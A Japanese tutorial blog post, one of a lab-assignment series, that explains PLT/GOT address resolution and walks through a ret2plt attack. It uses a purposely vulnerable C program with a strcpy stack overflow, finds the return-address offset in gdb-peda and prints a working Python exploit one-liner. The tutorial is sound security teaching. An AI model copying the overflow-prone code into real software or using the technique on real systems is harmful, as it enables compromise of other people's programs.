ret2plt(弊研究室の某課題について考える11日目)
はじめに
これは弊研究室の某課題について考える11日目の記事です
pwnableの攻撃編の始まりです。今までに説明してきた脆弱性を基にどうやって攻撃するのかというのを紹介していく編になります
ret2plt
ret2plt(return to plt)とは脆弱性をついてEIPを奪ったとき(任意のアドレスに書き換えられる)にそのEIPのアドレスをpltのアドレスを指すことにより関数を実行させる手法である。
PLT(Procedure Linkage Table)とGOT(Global Offset Table)
ではpltとはなんだという話である。一緒にgotの話もする。2日目の記事でメモリ配置の図を示したがさらに詳細を見ていくとこうなっている
C言語ではソースコードに記述しなくても使える関数がありますよね。printf
とかfopen
とかね。これらはlibcと呼ばれるライブラリにありそれをコンパイル時にリンクしているため使用できます。それでlibcにある外部関数のアドレスを動的に求める機構がPLTとGOTになります。
さてこのアドレス解決機構を説明していきます。libcの関数であるprintf
が呼び出された場合を考えます。
#include<stdio.h> int main(){ int a=1; int b=2; int c=a+b; printf("%d\n",c); return 0; }
ここでmainのアセンブラを見てみます
$ objdump -d -M intel ./a.out 000000000000064a <main>: 64a: 55 push rbp 64b: 48 89 e5 mov rbp,rsp 64e: 48 83 ec 10 sub rsp,0x10 652: c7 45 f4 01 00 00 00 mov DWORD PTR [rbp-0xc],0x1 659: c7 45 f8 02 00 00 00 mov DWORD PTR [rbp-0x8],0x2 660: 8b 55 f4 mov edx,DWORD PTR [rbp-0xc] 663: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 666: 01 d0 add eax,edx 668: 89 45 fc mov DWORD PTR [rbp-0x4],eax 66b: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 66e: 89 c6 mov esi,eax 670: 48 8d 3d 9d 00 00 00 lea rdi,[rip+0x9d] # 714 <_IO_stdin_used+0x4> 677: b8 00 00 00 00 mov eax,0x0 67c: e8 af fe ff ff call 530 <printf@plt> 681: b8 00 00 00 00 mov eax,0x0 686: c9 leave 687: c3 ret 688: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 68f: 00
printf
を呼び出す部分で<printf@plt>
となっています。ここでpltセグメントのprintfを呼び出しています。pltセクションには実行ファイルで使われる関数がエントリされています。
$ objdump -d -M intel -j .plt ./a.out Disassembly of section .plt: 0000000000000520 <.plt>: 520: ff 35 e2 0a 20 00 push QWORD PTR [rip+0x200ae2] # 201008 <_GLOBAL_OFFSET_TABLE_+0x8> 526: ff 25 e4 0a 20 00 jmp QWORD PTR [rip+0x200ae4] # 201010 <_GLOBAL_OFFSET_TABLE_+0x10> 52c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 0000000000000530 <printf@plt>: 530: ff 25 e2 0a 20 00 jmp QWORD PTR [rip+0x200ae2] # 201018 <printf@GLIBC_2.2.5> 536: 68 00 00 00 00 push 0x0 53b: e9 e0 ff ff ff jmp 520 <.plt>
call 530
となっているように530
にprintf@plt
が登録されておりそれを呼んでいます。でアセンブラを追うとjmp 201010
へ飛んでいます。ここのripは.got.pltにアドレスを指しており、.got.plt内のprintf
二割与えられているアドレスにジャンプします。
.got.pltセグメントで共有ライブラリlibcのprintf関数を呼び出します。
ret2pltをやってみる
ではret2pltを実際にやってみる。EIPを奪えていれば実行可能であるので今回用意する脆弱性はスタックバッファオーバーフローとする。
サンプルプログラム
#include<stdio.h> #include<string.h> int main(int argc, char *argv[]){ setbuf(stdin,NULL); setbuf(stdout,NULL); char buf[100] = {}; char str[140]; printf("Hi, I'm TsugumiYagi!\n"); printf("Please tell me your name: "); fgets(str,140,stdin); strcpy(buf,str); printf("Hi "); puts(buf); return 0; }
strcpyのところに脆弱性があります。ここに100文字以上をいれると壊れますね。
5$ gdb -q ./a.out Reading symbols from ./a.out...(no debugging symbols found)...done. gdb-peda$ set disassembly-flavor intel gdb-peda$ pattern_create 120 ''AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA' gdb-peda$ r Starting program: /home/tsugumiyagi/Documents/pwn/pwn5/a.out Hi, I'm TsugumiYagi! Please tell me your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiA A8AANAA Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x41684141 ('AAhA') ECX: 0xb7fc2b07 --> 0xfc38980a EDX: 0xb7fc3898 --> 0x0 ESI: 0x0 EDI: 0x41413741 ('A7AA') EBP: 0x6941414d ('MAAi') ESP: 0xbffff680 --> 0x414e41 ('ANA') EIP: 0x41384141 ('AA8A') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41384141 [------------------------------------stack-------------------------------------] 0000| 0xbffff680 --> 0x414e41 ('ANA') 0004| 0xbffff684 --> 0xbffff714 --> 0xbffff834 ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out") 0008| 0xbffff688 --> 0xbffff71c --> 0xbffff85f ("XDG_SESSION_ID=6") 0012| 0xbffff68c --> 0xb7fece3a (<call_init+26>: add ebx,0x121c6) 0016| 0xbffff690 --> 0x1 0020| 0xbffff694 --> 0xbffff714 --> 0xbffff834 ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out") 0024| 0xbffff698 --> 0xbffff6b4 --> 0xbd2c1514 0028| 0xbffff69c --> 0x804a024 --> 0xb7e2ea00 (<__libc_start_main>: push ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41384141 in ?? () gdb-peda$ A Ambiguous command "A": . gdb-peda$ patto AA8A AA8A found at offset: 112 gdb-peda$ disas main Dump of assembler code for function main: 0x0804852d <+0>: push ebp
pattern_createで適当に文字列を作成し、patto 文字列
でその文字列のオフセットを調べられます。
EIPに入っているのがAA8A
なのでpatto AA8A
で調べられます。すると112文字適当に入力した後の文字がEIPになることがわかります。ということでmain関数のアドレスでも突っ込みましょう。
tsugumiyagi@yuzu:~/Documents/pwn/pwn5$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2d\x85\x04\x08' | ./a.out Hi, I'm TsugumiYagi! Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-� Hi, I'm TsugumiYagi! Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-� Segmentation fault (コアダンプ)
EIPがmainに変わったのでmain関数が2回実行されています。ではこれを踏まえてpltの呼び出しです。
$ objdump -d -M intel -j .plt ./a.out セクション .plt の逆アセンブル: 080483b0 <setbuf@plt-0x10>: 80483b0: ff 35 04 a0 04 08 push DWORD PTR ds:0x804a004 80483b6: ff 25 08 a0 04 08 jmp DWORD PTR ds:0x804a008 80483bc: 00 00 add BYTE PTR [eax],al ... 080483c0 <setbuf@plt>: 80483c0: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 80483c6: 68 00 00 00 00 push 0x0 80483cb: e9 e0 ff ff ff jmp 80483b0 <_init+0x30> 080483d0 <printf@plt>: 80483d0: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010 80483d6: 68 08 00 00 00 push 0x8 80483db: e9 d0 ff ff ff jmp 80483b0 <_init+0x30> 080483e0 <fgets@plt>: 80483e0: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014 80483e6: 68 10 00 00 00 push 0x10 80483eb: e9 c0 ff ff ff jmp 80483b0 <_init+0x30> 080483f0 <strcpy@plt>: 80483f0: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018 80483f6: 68 18 00 00 00 push 0x18 80483fb: e9 b0 ff ff ff jmp 80483b0 <_init+0x30> 08048400 <puts@plt>: 8048400: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c 8048406: 68 20 00 00 00 push 0x20 804840b: e9 a0 ff ff ff jmp 80483b0 <_init+0x30> 08048410 <__gmon_start__@plt>: 8048410: ff 25 20 a0 04 08 jmp DWORD PTR ds:0x804a020 8048416: 68 28 00 00 00 push 0x28 804841b: e9 90 ff ff ff jmp 80483b0 <_init+0x30> 08048420 <__libc_start_main@plt>: 8048420: ff 25 24 a0 04 08 jmp DWORD PTR ds:0x804a024 8048426: 68 30 00 00 00 push 0x30 804842b: e9 80 ff ff ff jmp 80483b0 <_init+0x30>
ここではputs関数を呼び出すことにします。さてもう一度関数の実行される時の図を見ましょう
puts関数の引数はスタックに積めばよさそうですね。リターンアドレスは詰んであげなきゃいけないので適当に載せましょう。ただここで積むのはアドレスです。のでいい感じのアドレスをここで入手しておきます。
$ gdb -q ./a.out Reading symbols from ./a.out...(no debugging symbols found)...done. gdb-peda$ disas main Dump of assembler code for function main: 0x0804852d <+0>: push ebp 0x0804852e <+1>: mov ebp,esp 0x08048530 <+3>: push edi 0x08048531 <+4>: push ebx 0x08048532 <+5>: and esp,0xfffffff0 0x08048535 <+8>: sub esp,0xf0 0x0804853b <+14>: mov eax,ds:0x804a040 0x08048540 <+19>: mov DWORD PTR [esp+0x4],0x0 0x08048548 <+27>: mov DWORD PTR [esp],eax 0x0804854b <+30>: call 0x80483c0 <setbuf@plt> 0x08048550 <+35>: mov eax,ds:0x804a060 0x08048555 <+40>: mov DWORD PTR [esp+0x4],0x0 0x0804855d <+48>: mov DWORD PTR [esp],eax 0x08048560 <+51>: call 0x80483c0 <setbuf@plt> 0x08048565 <+56>: lea ebx,[esp+0x8c] 0x0804856c <+63>: mov eax,0x0 0x08048571 <+68>: mov edx,0x19 0x08048576 <+73>: mov edi,ebx 0x08048578 <+75>: mov ecx,edx 0x0804857a <+77>: rep stos DWORD PTR es:[edi],eax 0x0804857c <+79>: mov DWORD PTR [esp],0x8048680 0x08048583 <+86>: call 0x8048400 <puts@plt> 0x08048588 <+91>: mov DWORD PTR [esp],0x8048695 0x0804858f <+98>: call 0x80483d0 <printf@plt> 0x08048594 <+103>: mov eax,ds:0x804a040 0x08048599 <+108>: mov DWORD PTR [esp+0x8],eax 0x0804859d <+112>: mov DWORD PTR [esp+0x4],0x78 0x080485a5 <+120>: lea eax,[esp+0x14] 0x080485a9 <+124>: mov DWORD PTR [esp],eax 0x080485ac <+127>: call 0x80483e0 <fgets@plt> 0x080485b1 <+132>: lea eax,[esp+0x14] 0x080485b5 <+136>: mov DWORD PTR [esp+0x4],eax 0x080485b9 <+140>: lea eax,[esp+0x8c] 0x080485c0 <+147>: mov DWORD PTR [esp],eax 0x080485c3 <+150>: call 0x80483f0 <strcpy@plt> 0x080485c8 <+155>: mov DWORD PTR [esp],0x80486b0 0x080485cf <+162>: call 0x80483d0 <printf@plt> 0x080485d4 <+167>: lea eax,[esp+0x8c] 0x080485db <+174>: mov DWORD PTR [esp],eax 0x080485de <+177>: call 0x8048400 <puts@plt> 0x080485e3 <+182>: mov eax,0x0 0x080485e8 <+187>: lea esp,[ebp-0x8] 0x080485eb <+190>: pop ebx 0x080485ec <+191>: pop edi 0x080485ed <+192>: pop ebp 0x080485ee <+193>: ret End of assembler dump. gdb-peda$ x/s 0x8048680 0x8048680: "Hi, I'm TsugumiYagi!"
いい感じのアドレスを見つけたのでいけそうです。さてexploitです。
$ python -c 'print "A"*112+"\xd0\x83\x04\x08" + "BBBB" + "\x80\x86\x04\x08"' | ./a.out Hi, I'm TsugumiYagi! Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЃBBBB�� Hi, I'm TsugumiYagi!Segmentation fault (コアダンプ)
はい望みどおりの出力が得られましたね。この時のスタックフレームですが下のようになっています。
これをprintfを基準に考えると下のように見ることができます。なので実行できるようになるわけですね。
おわりに
書いてて量がやばかったのでret2libcはまた明日。